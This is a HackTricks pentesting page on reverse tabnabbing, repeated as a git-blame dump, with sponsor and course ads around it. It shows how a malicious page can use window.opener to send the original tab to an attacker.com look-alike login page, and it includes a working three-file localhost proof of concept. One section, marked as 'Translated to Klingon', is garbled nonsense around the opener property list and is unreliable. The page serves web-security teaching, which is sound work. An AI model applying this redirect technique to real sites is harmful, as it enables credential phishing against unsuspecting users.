hacktricks/pentesting-web/reverse-tab-nabbing.md

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a> <strong>Learn AWS hacking from zero to hero with</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>


# Description

In a situation where an **attacker** can **control** the **`href`** argument of an **`<a`** tag with the attribute **`target="_blank" rel="opener"`** that is going to be clicked by a victim, the **attacker** **point** this **link** to a web under his control (a **malicious** **website**). Then, once the **victim clicks** the link and access the attackers website, this **malicious** **website** will be able to **control** the **original** **page** via the javascript object **`window.opener`**.\
If the page doesn't have **`rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"`** it might be also vulnerable.

A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.

However, note that as the **attacker now can control the window object of the original website** he can abuse it in other ways to perform **stealthier attacks** (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)

# Overview

## With back link

Link between parent and child pages when prevention attribute is not used:

![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)

## Without back link

Link between parent and child pages when prevention attribute is used:

![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)

## Examples <a href="#examples" id="examples"></a>

Create the following pages in a folder and run a web server with `python3 -m http.server`\
Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**.

{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}

## QaQHa' Qapla' <a href="#qaqha-qapla" id="qaqha-qapla"></a>

DaH jatlh **cross-origin** access vItlhutlh (vItlhutlh qetlh), **window** JavaScript class instance, **opener** JavaScript object reference, **malicious site** vItlhutlh 'e' vItlhutlh **accessible properties**:

- **`opener.closed`**: vItlhutlh 'e' vItlhutlh window vItlhutlh, boolean value vItlhutlh.
- **`opener.frames`**: vItlhutlh 'e' vItlhutlh iframe elements vItlhutlh current window.
- **`opener.length`**: vItlhutlh 'e' vItlhutlh iframe elements vItlhutlh current window.
- **`opener.opener`**: vItlhutlh 'e' vItlhutlh window vItlhutlh opened current window.
- **`opener.parent`**: vItlhutlh 'e' vItlhutlh parent window vItlhutlh current window.
- **`opener.self`**: vItlhutlh 'e' vItlhutlh current window vItlhutlh.
- **`opener.top`**: vItlhutlh 'e' vItlhutlh topmost browser window.

'ach, vItlhutlh 'e' domains vItlhutlh identical, **malicious site** vItlhutlh 'e' vItlhutlh **properties** exposed [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript object reference.

# Qap

Qap information documented [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).

## References

* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)


<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00			`<details>`

Translated to Klingon 2024-02-10 17:52:19 +00:00			`<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a> <strong>Learn AWS hacking from zero to hero with</strong></summary>`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
arte 2024-01-10 10:21:44 +00:00			`Other ways to support HackTricks:`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
arte 2024-01-10 10:21:44 +00:00			`* If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
A 2024-02-09 07:14:36 +00:00			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@carlospolopm](https://twitter.com/hacktricks_live).`
arte 2024-01-10 10:21:44 +00:00			`* Share your hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`</details>`


fix mess 2022-05-01 12:41:36 +00:00			`# Description`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			In a situation where an attacker can control the `href` argument of an `<a` tag with the attribute `target="_blank" rel="opener"` that is going to be clicked by a victim, the attacker point this link to a web under his control (a malicious website). Then, once the victim clicks the link and access the attackers website, this malicious website will be able to control the original page via the javascript object `window.opener`.\
GitBook: [master] one page modified 2021-08-28 15:55:37 +00:00			If the page doesn't have `rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"` it might be also vulnerable.
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [master] one page modified 2021-08-28 15:55:37 +00:00			A regular way to abuse this behaviour would be to change the location of the original web via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that looks like the original one, so it can imitate the login form of the original website and ask for credentials to the user.
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			`However, note that as the attacker now can control the window object of the original website he can abuse it in other ways to perform stealthier attacks (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
fix mess 2022-05-01 12:41:36 +00:00			`# Overview`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
fix mess 2022-05-01 12:41:36 +00:00			`## With back link`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
			`Link between parent and child pages when prevention attribute is not used:`

a 2024-02-06 03:10:38 +00:00			`![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
fix mess 2022-05-01 12:41:36 +00:00			`## Without back link`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
			`Link between parent and child pages when prevention attribute is used:`

a 2024-02-06 03:10:38 +00:00			`![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
fix mess 2022-05-01 12:41:36 +00:00			`## Examples <a href="#examples" id="examples"></a>`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			Create the following pages in a folder and run a web server with `python3 -m http.server`\
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			Then, access `http://127.0.0.1:8000/`vulnerable.html, click on the link and note how the original website URL changes.

			`{% code title="vulnerable.html" %}`
			```markup
			`<!DOCTYPE html>`
			`<html>`
			`<body>`
			`<h1>Victim Site</h1>`
			`<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>`
			`</body>`
			`</html>`
			```
			`{% code title="malicious.html" %}`
			```markup
			`<!DOCTYPE html>`
			`<html>`
Translated to Klingon 2024-02-10 17:52:19 +00:00			`<body>`
			`<script>`
			`window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";`
			`</script>`
			`</body>`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			`</html>`
			```
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`{% code title="malicious_redir.html" %}`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			```markup
			`<!DOCTYPE html>`
			`<html>`
			`<body>`
			`<h1>New Malicious Site</h1>`
			`</body>`
			`</html>`
			```
			`{% endcode %}`

Translated to Klingon 2024-02-10 17:52:19 +00:00			`## QaQHa' Qapla' <a href="#qaqha-qapla" id="qaqha-qapla"></a>`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Klingon 2024-02-10 17:52:19 +00:00			`DaH jatlh cross-origin access vItlhutlh (vItlhutlh qetlh), window JavaScript class instance, opener JavaScript object reference, malicious site vItlhutlh 'e' vItlhutlh accessible properties:`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Klingon 2024-02-10 17:52:19 +00:00			- `opener.closed`: vItlhutlh 'e' vItlhutlh window vItlhutlh, boolean value vItlhutlh.
			- `opener.frames`: vItlhutlh 'e' vItlhutlh iframe elements vItlhutlh current window.
			- `opener.length`: vItlhutlh 'e' vItlhutlh iframe elements vItlhutlh current window.
			- `opener.opener`: vItlhutlh 'e' vItlhutlh window vItlhutlh opened current window.
			- `opener.parent`: vItlhutlh 'e' vItlhutlh parent window vItlhutlh current window.
			- `opener.self`: vItlhutlh 'e' vItlhutlh current window vItlhutlh.
			- `opener.top`: vItlhutlh 'e' vItlhutlh topmost browser window.
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Klingon 2024-02-10 17:52:19 +00:00			`'ach, vItlhutlh 'e' domains vItlhutlh identical, malicious site vItlhutlh 'e' vItlhutlh properties exposed [window](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript object reference.`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Klingon 2024-02-10 17:52:19 +00:00			`# Qap`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
Translated to Klingon 2024-02-10 17:52:19 +00:00			`Qap information documented [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
a 2024-02-08 03:08:28 +00:00			`## References`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
a 2024-02-06 03:10:38 +00:00			`* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
fix bad chars 2022-04-05 22:24:52 +00:00
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00

			`<details>`

arte 2024-01-10 10:21:44 +00:00			`<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
arte 2024-01-10 10:21:44 +00:00			`Other ways to support HackTricks:`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
arte 2024-01-10 10:21:44 +00:00			`* If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
A 2024-02-09 07:14:36 +00:00			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@carlospolopm](https://twitter.com/hacktricks_live).`
arte 2024-01-10 10:21:44 +00:00			`* Share your hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`</details>`